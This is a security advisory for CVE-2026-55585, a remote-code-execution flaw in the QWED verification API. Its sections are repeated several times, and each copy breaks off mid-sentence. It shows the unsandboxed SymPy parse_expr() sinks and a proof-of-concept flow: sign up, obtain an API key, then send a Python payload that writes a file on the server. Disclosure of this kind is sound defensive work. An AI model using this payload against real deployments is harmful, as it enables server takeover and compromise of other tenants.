CVE-2026-55585

QWED is open-source AI verification infrastructure for deterministic verification of LLM outputs, tool calls, code, schemas, and agent state before production execution. Prior to 5.1.2, the qwed package passes caller-controlled math expressions directly to SymPy parse_expr() without restricted global_dict and local_dict namespaces, allowing Python eval() to resolve builtins and execute arbitrary Python code in the API server process. In src/qwed_new/api/main.py, POST /verify/math is protected by get_current_tenant but accepts any valid tenant API key, reads the expression field, applies only a cosmetic re.sub(r'(\d)(()', r'\1*\2', expression) normalization, and passes the result to parse_expr(). In src/qwed_new/core/batch.py, POST /verify/batch sends math items through batch_service.create_job(), stores item.query verbatim, and _verify_item() passes VerificationType.MATH input to parse_expr() without sanitization. The default-enabled POST /auth/signup endpoint allows anyone to create a standard tenant account, POST /auth/api-keys issues an x-api-key, and either vulnerable path can then be used to read or write files, modify data, execute operating system commands, terminate the service, and compromise other tenants in a shared deployment. This issue is fixed in version 5.1.2.

QWED is open-source AI verification infrastructure for deterministic verification of LLM outputs, tool calls, code, schemas, and agent state before production execution. Prior to 5.1.2, the qwed package passes caller-controlled math expressions directly to SymPy parse_expr() without restricted global_dict and local_dict namespaces, allowing Python eval() to resolve builtins and execute arbitrary Python code in the API server process. In src/qwed_new/api/main.py, POST /verify/math is protected by get_current_tenant but accepts any valid tenant API key, reads the expression field, applies only a cosmetic re.sub(r'(\d)(()', r'\1*\2', expression) normalization, and passes the result to parse_expr(). In src/qwed_new/core/batch.py, POST /verify/batch sends math items through batch_service.create_job(), stores item.query verbatim, and _verify_item() passes VerificationType.MATH input to parse_expr() without sanitization. The default-enabled POST /auth/signup endpoint allows anyone to create a standard tenant account, POST /auth/api-keys issues an x-api-key, and either vulnerable path can then be used to read or write files, modify data, execute operating system commands, terminate the service, and compromise other tenants in a shared deployment. This issue is fixed in version 5.1.2.

Summary

The qwed package (version 5.1.1) passes attacker-controlled input directly to SymPy's parse_expr() function without a restricted namespace. Because parse_expr() internally calls Python's eval(), any authenticated tenant can execute arbitrary Python code inside the API server process. The attack requires only a standard user account, which is freely obtainable through the default-enabled /auth/signup endpoint. Successful exploitation gives the attacker full read/write access to the filesystem and the ability to execute operating system commands, resulting in complete server compromise.

Details

The vulnerability exists in two independently reachable code paths:

Primary sink — POST /verify/math

src/qwed_new/api/main.py:442 defines the /verify/math route, protected only by get_current_tenant (line 444), which accepts any valid tenant API key. The request body field expression is read at line 463 and passed through a cosmetic regex normalization at line 495 (re.sub(r'(\d)(\()', r'\1*\2', expression)) that performs no security validation. The normalized string is then passed directly to parse_expr() at line 504:

# src/qwed_new/api/main.py
expression = request.get("expression")
...
expression_normalized = re.sub(r'(\d)(\()', r'\1*\2', expression)
...
parsed = parse_expr(expression_normalized)   # line 504 — unsandboxed eval

Secondary sink — POST /verify/batch

src/qwed_new/api/main.py:1481 defines the /verify/batch route. Batch items flow through batch_service.create_job() (line 1517) into batch.py:132 where item.query is stored verbatim, then processed by _verify_item() (line 167). When the item type is VerificationType.MATH (line 222), the expression is passed to parse_expr() at line 239 with no sanitization:

# src/qwed_new/core/batch.py
expression = item.query
...
parsed = parse_expr(expression)              # line 239 — unsandboxed eval

parse_expr() accepts a global_dict and local_dict parameter that, when set to {"__builtins__": {}} and an allowlist respectively, restrict what names are accessible during evaluation. Neither call site sets these parameters, leaving the full Python built-in namespace available to the attacker.

PoC

Environment setup (Docker)

# Build from repository root (one level above vuln-001/)
docker build -t qwed-vuln-001 -f vuln-001/Dockerfile .

# Run the server (binds to localhost:8765)
docker run -d -p 127.0.0.1:8765:8765 --name qwed-vuln-001 qwed-vuln-001

The Dockerfile installs qwed from the local repository source with all dependencies and starts the server with the following environment:

• QWED_JWT_SECRET_KEY=test-jwt-secret-abcdefghijklmnopqrstuvwxyz0123456789
• API_KEY_SECRET=test-api-key-secret-abcdefghijklmnopqrstuvwxyz0123456789
• QWED_CORS_ORIGINS=http://localhost
• QWED_SKIP_ENV_INTEGRITY_CHECK=true
• DATABASE_URL=sqlite:////tmp/qwed-poc.db

Automated exploit (poc.py)

python3 vuln-001/poc.py --host 127.0.0.1 --port 8765

The script performs three steps:

1. Register an account — POST /auth/signup with arbitrary email/password/organization (no invite code or admin approval required).
2. Obtain an API key — POST /auth/api-keys using the JWT returned from signup.
3. Send the RCE payload — POST /verify/math with the x-api-key header and the expression:

__import__('pathlib').Path('/tmp/qwed_parse_expr_rce').write_text('pwned_by_parse_expr_rce')

Expected output

[+] Server is ready.
[+] Account created; JWT bearer token obtained.
[+] API key (first 20 chars): qwed_live_WwNm86Fpnh...
[*] expression = __import__('pathlib').Path('/tmp/qwed_parse_expr_rce').write_text('pwned_by_parse_expr_rce')
[*] HTTP status : 200
[*] HTTP response: {"is_valid": true, "value": 23.0, "simplified": "23", "original": "23"}
[PASS] HTTP 200 returned — payload evaluated without error.

The server returns…

QWED is open-source AI verification infrastructure for deterministic verification of LLM outputs, tool calls, code, schemas, and agent state before production execution. Prior to 5.1.2, the qwed package passes caller-controlled math expressions directly to SymPy parse_expr() without restricted global_dict and local_dict namespaces, allowing Python eval() to resolve builtins and execute arbitrary Python code in the API server process. In src/qwed_new/api/main.py, POST /verify/math is protected by get_current_tenant but accepts any valid tenant API key, reads the expression field, applies only a cosmetic re.sub(r'(\d)(()', r'\1*\2', expression) normalization, and passes the result to parse_expr(). In src/qwed_new/core/batch.py, POST /verify/batch sends math items through batch_service.create_job(), stores item.query verbatim, and _verify_item() passes VerificationType.MATH input to parse_expr() without sanitization. The default-enabled POST /auth/signup endpoint allows anyone to create a standard tenant account, POST /auth/api-keys issues an x-api-key, and either vulnerable path can then be used to read or write files, modify data, execute operating system commands, terminate the service, and compromise other tenants in a shared deployment. This issue is fixed in version 5.1.2.

QWED is open-source AI verification infrastructure for deterministic verification of LLM outputs, tool calls, code, schemas, and agent state before production execution. Prior to 5.1.2, the qwed package passes caller-controlled math expressions directly to SymPy parse_expr() without restricted global_dict and local_dict namespaces, allowing Python eval() to resolve builtins and execute arbitrary Python code in the API server process. In src/qwed_new/api/main.py, POST /verify/math is protected by get_current_tenant but accepts any valid tenant API key, reads the expression field, applies only a cosmetic re.sub(r'(\d)(()', r'\1*\2', expression) normalization, and passes the result to parse_expr(). In src/qwed_new/core/batch.py, POST /verify/batch sends math items through batch_service.create_job(), stores item.query verbatim, and _verify_item() passes VerificationType.MATH input to parse_expr() without sanitization. The default-enabled POST /auth/signup endpoint allows anyone to create a standard tenant account, POST /auth/api-keys issues an x-api-key, and either vulnerable path can then be used to read or write files, modify data, execute operating system commands, terminate the service, and compromise other tenants in a shared deployment. This issue is fixed in version 5.1.2.

Summary

The qwed package (version 5.1.1) passes attacker-controlled input directly to SymPy's parse_expr() function without a restricted namespace. Because parse_expr() internally calls Python's eval(), any authenticated tenant can execute arbitrary Python code inside the API server process. The attack requires only a standard user account, which is freely obtainable through the default-enabled /auth/signup endpoint. Successful exploitation gives the attacker full read/write access to the filesystem and the ability to execute operating system commands, resulting in complete server compromise.

Details

The vulnerability exists in two independently reachable code paths:

Primary sink — POST /verify/math

src/qwed_new/api/main.py:442 defines the /verify/math route, protected only by get_current_tenant (line 444), which accepts any valid tenant API key. The request body field expression is read at line 463 and passed through a cosmetic regex normalization at line 495 (re.sub(r'(\d)(\()', r'\1*\2', expression)) that performs no security validation. The normalized string is then passed directly to parse_expr() at line 504:

# src/qwed_new/api/main.py
expression = request.get("expression")
...
expression_normalized = re.sub(r'(\d)(\()', r'\1*\2', expression)
...
parsed = parse_expr(expression_normalized)   # line 504 — unsandboxed eval

Secondary sink — POST /verify/batch

src/qwed_new/api/main.py:1481 defines the /verify/batch route. Batch items flow through batch_service.create_job() (line 1517) into batch.py:132 where item.query is stored verbatim, then processed by _verify_item() (line 167). When the item type is VerificationType.MATH (line 222), the expression is passed to parse_expr() at line 239 with no sanitization:

# src/qwed_new/core/batch.py
expression = item.query
...
parsed = parse_expr(expression)              # line 239 — unsandboxed eval

parse_expr() accepts a global_dict and local_dict parameter that, when set to {"__builtins__": {}} and an allowlist respectively, restrict what names are accessible during evaluation. Neither call site sets these parameters, leaving the full Python built-in namespace available to the attacker.

PoC

Environment setup (Docker)

# Build from repository root (one level above vuln-001/)
docker build -t qwed-vuln-001 -f vuln-001/Dockerfile .

# Run the server (binds to localhost:8765)
docker run -d -p 127.0.0.1:8765:8765 --name qwed-vuln-001 qwed-vuln-001

The Dockerfile installs qwed from the local repository source with all dependencies and starts the server with the following environment:

• QWED_JWT_SECRET_KEY=test-jwt-secret-abcdefghijklmnopqrstuvwxyz0123456789
• API_KEY_SECRET=test-api-key-secret-abcdefghijklmnopqrstuvwxyz0123456789
• QWED_CORS_ORIGINS=http://localhost
• QWED_SKIP_ENV_INTEGRITY_CHECK=true
• DATABASE_URL=sqlite:////tmp/qwed-poc.db

Automated exploit (poc.py)

python3 vuln-001/poc.py --host 127.0.0.1 --port 8765

The script performs three steps:

1. Register an account — POST /auth/signup with arbitrary email/password/organization (no invite code or admin approval required).
2. Obtain an API key — POST /auth/api-keys using the JWT returned from signup.
3. Send the RCE payload — POST /verify/math with the x-api-key header and the expression:

__import__('pathlib').Path('/tmp/qwed_parse_expr_rce').write_text('pwned_by_parse_expr_rce')

Expected output

[+] Server is ready.
[+] Account created; JWT bearer token obtained.
[+] API key (first 20 chars): qwed_live_WwNm86Fpnh...
[*] expression = __import__('pathlib').Path('/tmp/qwed_parse_expr_rce').write_text('pwned_by_parse_expr_rce')
[*] HTTP status : 200
[*] HTTP response: {"is_valid": true, "value": 23.0, "simplified": "23", "original": "23"}
[PASS] HTTP 200 returned — payload evaluated without error.

The server returns…

Summary

The qwed package (version 5.1.1) passes attacker-controlled input directly to SymPy's parse_expr() function without a restricted namespace. Because parse_expr() internally calls Python's eval(), any authenticated tenant can execute arbitrary Python code inside the API server process. The attack requires only a standard user account, which is freely obtainable through the default-enabled /auth/signup endpoint. Successful exploitation gives the attacker full read/write access to the filesystem and the ability to execute operating system commands, resulting in complete server compromise.

Details

The vulnerability exists in two independently reachable code paths:

Primary sink — POST /verify/math

src/qwed_new/api/main.py:442 defines the /verify/math route, protected only by get_current_tenant (line 444), which accepts any valid tenant API key. The request body field expression is read at line 463 and passed through a cosmetic regex normalization at line 495 (re.sub(r'(\d)(\()', r'\1*\2', expression)) that performs no security validation. The normalized string is then passed directly to parse_expr() at line 504:

# src/qwed_new/api/main.py
expression = request.get("expression")
...
expression_normalized = re.sub(r'(\d)(\()', r'\1*\2', expression)
...
parsed = parse_expr(expression_normalized)   # line 504 — unsandboxed eval

Secondary sink — POST /verify/batch

src/qwed_new/api/main.py:1481 defines the /verify/batch route. Batch items flow through batch_service.create_job() (line 1517) into batch.py:132 where item.query is stored verbatim, then processed by _verify_item() (line 167). When the item type is VerificationType.MATH (line 222), the expression is passed to parse_expr() at line 239 with no sanitization:

# src/qwed_new/core/batch.py
expression = item.query
...
parsed = parse_expr(expression)              # line 239 — unsandboxed eval

parse_expr() accepts a global_dict and local_dict parameter that, when set to {"__builtins__": {}} and an allowlist respectively, restrict what names are accessible during evaluation. Neither call site sets these parameters, leaving the full Python built-in namespace available to the attacker.

PoC

Environment setup (Docker)

# Build from repository root (one level above vuln-001/)
docker build -t qwed-vuln-001 -f vuln-001/Dockerfile .

# Run the server (binds to localhost:8765)
docker run -d -p 127.0.0.1:8765:8765 --name qwed-vuln-001 qwed-vuln-001

The Dockerfile installs qwed from the local repository source with all dependencies and starts the server with the following environment:

• QWED_JWT_SECRET_KEY=test-jwt-secret-abcdefghijklmnopqrstuvwxyz0123456789
• API_KEY_SECRET=test-api-key-secret-abcdefghijklmnopqrstuvwxyz0123456789
• QWED_CORS_ORIGINS=http://localhost
• QWED_SKIP_ENV_INTEGRITY_CHECK=true
• DATABASE_URL=sqlite:////tmp/qwed-poc.db

Automated exploit (poc.py)

python3 vuln-001/poc.py --host 127.0.0.1 --port 8765

The script performs three steps:

1. Register an account — POST /auth/signup with arbitrary email/password/organization (no invite code or admin approval required).
2. Obtain an API key — POST /auth/api-keys using the JWT returned from signup.
3. Send the RCE payload — POST /verify/math with the x-api-key header and the expression:

__import__('pathlib').Path('/tmp/qwed_parse_expr_rce').write_text('pwned_by_parse_expr_rce')

Expected output

[+] Server is ready.
[+] Account created; JWT bearer token obtained.
[+] API key (first 20 chars): qwed_live_WwNm86Fpnh...
[*] expression = __import__('pathlib').Path('/tmp/qwed_parse_expr_rce').write_text('pwned_by_parse_expr_rce')
[*] HTTP status : 200
[*] HTTP response: {"is_valid": true, "value": 23.0, "simplified": "23", "original": "23"}
[PASS] HTTP 200 returned — payload evaluated without error.

The server returns…